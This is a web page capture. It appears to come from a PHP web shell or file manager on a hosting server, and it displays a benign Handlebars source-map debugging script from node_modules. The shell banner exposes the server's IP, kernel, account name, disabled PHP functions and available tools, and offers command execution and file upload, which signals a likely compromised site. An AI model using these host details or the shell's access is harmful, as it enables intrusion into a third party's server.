Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/src/../node_modules/handlebars/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
#! /usr/bin/env node /* eslint-disable no-console, no-var */ // Util script for debugging source code generation issues var script = process.argv[2].replace(/\\n/g, '\n'), verbose = process.argv[3] === '-v'; var Handlebars = require('./lib'), SourceMap = require('source-map'), SourceMapConsumer = SourceMap.SourceMapConsumer; var template = Handlebars.precompile(script, { srcName: 'input.hbs', destName: 'output.js', assumeObjects: true, compat: false, strict: true, trackIds: true, knownHelpersOnly: false }); if (!verbose) { console.log(template); } else { var consumer = new SourceMapConsumer(template.map), lines = template.code.split('\n'), srcLines = script.split('\n'); console.log(); console.log('Source:'); srcLines.forEach(function(source, index) { console.log(index + 1, source); }); console.log(); console.log('Generated:'); console.log(template.code); lines.forEach(function(source, index) { console.log(index + 1, source); }); console.log(); console.log('Map:'); console.log(template.map); console.log(); function collectSource(lines, lineName, colName, order) { var ret = {}, ordered = [], last; function collect(current) { if (last) { var mapLines = lines.slice(last[lineName] - 1, current && current[lineName]); if (mapLines.length) { if (current) { mapLines[mapLines.length - 1] = mapLines[mapLines.length - 1].slice(0, current[colName]); } mapLines[0] = mapLines[0].slice(last[colName]); } ret[last[lineName] + ':' + last[colName]] = mapLines.join('\n'); ordered.push({ startLine: last[lineName], startCol: last[colName], endLine: current && current[lineName] }); } last = current; } consumer.eachMapping(collect, undefined, order); collect(); return ret; } srcLines = collectSource(srcLines, 'originalLine', 'originalColumn', SourceMapConsumer.ORIGINAL_ORDER); lines = collectSource(lines, 'generatedLine', 'generatedColumn'); consumer.eachMapping(function(mapping) { var originalSrc = srcLines[mapping.originalLine + ':' + mapping.originalColumn], generatedSrc = lines[mapping.generatedLine + ':' + mapping.generatedColumn]; if (!mapping.originalLine) { console.log('generated', mapping.generatedLine + ':' + mapping.generatedColumn, generatedSrc); } else { console.log('map', mapping.source, mapping.originalLine + ':' + mapping.originalColumn, originalSrc, '->', mapping.generatedLine + ':' + mapping.generatedColumn, generatedSrc); } }); }